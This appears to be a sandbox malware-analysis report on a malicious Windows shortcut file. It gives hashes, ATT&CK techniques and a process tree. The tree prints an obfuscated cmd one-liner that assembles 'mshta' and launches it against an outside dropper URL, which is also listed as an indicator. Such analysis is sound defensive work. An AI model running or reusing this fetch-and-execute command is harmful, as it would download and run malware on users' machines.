aa2c01a6726926c8b3c930d19e343b9af58d8665c80b0d4322a4211bb7e5c968

Analysis

max time kernel
148s
max time network
135s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-5NRVWV.lnk
Size 1KB
Sample260804-kd4cmsbk3z
SHA256 aa2c01a6726926c8b3c930d19e343b9af58d8665c80b0d4322a4211bb7e5c968
MD5 3691a4627f4af42c209b937f79e219fb
SHA1 80c3de2f3c2a416427db360b7ebe341dc7a0b6d0
SHA512 12e98dc811ac99f72436a9f6f6ee9172047db47fc6fad2fcd7c5fe554f6764849a95fec0bd83a2896635db7665faa93c3633eaeb445a4cda12c0fb6f271517d1
TLSH
T1903197503FED0624F3B79E7284BB5B2085BFB8568D20C62E0040450C1022A15E53AF6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5036	cmd.exe
4340	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5036 wrote to memory of 4340	5036	cmd.exe	90
PID 4340 wrote to memory of 4772	4340	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-5NRVWV.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5036
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set IYuIT=msh&&set MuQ=ta&&start "" !IYuIT!!MuQ! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4340
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads